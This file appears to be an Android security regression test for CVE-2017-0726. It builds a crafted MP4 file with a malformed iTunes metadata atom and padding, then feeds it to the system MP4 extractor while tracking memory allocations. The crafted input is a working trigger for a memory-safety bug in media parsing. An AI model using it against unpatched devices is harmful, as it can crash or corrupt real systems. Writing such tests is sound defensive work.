1 /**
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include "../includes/common.h"
18 #include "stdlib.h"
19
20 #include "../includes/memutils_track.h"
21 #include <android/IMediaExtractor.h>
22 #include <datasource/DataSourceFactory.h>
23 #include <dlfcn.h>
24 #include <media/DataSource.h>
25 #include <media/IMediaHTTPService.h>
26 #include <media/stagefright/DataSourceBase.h>
27 #include <media/stagefright/MediaExtractor.h>
28 #include <media/stagefright/MetaData.h>
29
30 unsigned char mp4_data[] = {
31 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
32 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
33 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
34 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
35 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
36 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
37 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
38 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
39 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
40 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
41 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
42 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
43
44 #if _32_BIT
45 #define LIBNAME "/system/lib/extractors/libmp4extractor.so"
46 #define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
47 #elif _64_BIT
48 #define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
49 #define LIBNAME_APEX \
50 "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
51 #endif
52
53 #define TOTAL_SIZE 524432
54 #define DATA_SIZE 144
55 #define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
56 #define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
57
58 char enable_selective_overload = ENABLE_NONE;
59 using namespace android;
60
is_tracking_required(size_t size)61 bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
62
main()63 int main() {
64 GetExtractorDef getDef = nullptr;
65 FILE *fp = fopen(TMP_FILE, "wb");
66 if (!fp) {
67 return EXIT_FAILURE;
68 }
69
70 char zero_array[TOTAL_SIZE - DATA_SIZE];
71 memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
72
73 /* Write mp4 stream */
74 fwrite(mp4_data, 1, DATA_SIZE, fp);
75
76 /* Append 0's to create custom PoC */
77 fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
78 fclose(fp);
79
80 void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
81 if (!libHandle) {
82 libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
83 if (!libHandle) {
84 remove(TMP_FILE);
85 return EXIT_FAILURE;
86 }
87 }
88
89 getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
90 if (!getDef) {
91 dlclose(libHandle);
92 remove(TMP_FILE);
93 return EXIT_FAILURE;
94 }
95
96 sp<DataSource> dataSource =
97 DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
98 if (dataSource == nullptr) {
99 dlclose(libHandle);
100 remove(TMP_FILE);
101 return EXIT_FAILURE;
102 }
103
104 void *meta = nullptr;
105 void *creator = nullptr;
106 FreeMetaFunc freeMeta = nullptr;
107 float confidence;
108 if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
109 creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
110 &meta, &freeMeta);
111 } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
112 creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
113 &meta, &freeMeta);
114 }
115 if (!creator) {
116 dlclose(libHandle);
117 remove(TMP_FILE);
118 return EXIT_FAILURE;
119 }
120
121 CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
122 if (ret == nullptr) {
123 dlclose(libHandle);
124 remove(TMP_FILE);
125 return EXIT_FAILURE;
126 }
127
128 if (meta != nullptr && freeMeta != nullptr) {
129 freeMeta(meta);
130 }
131
132 sp<MetaData> metaData = new MetaData();
133 MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
134 new MediaExtractorCUnwrapper(ret);
135 enable_selective_overload = ENABLE_MALLOC_CHECK;
136 mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
137 enable_selective_overload = ENABLE_NONE;
138
139 remove(TMP_FILE);
140 dlclose(libHandle);
141
142 return EXIT_SUCCESS;
143 }
144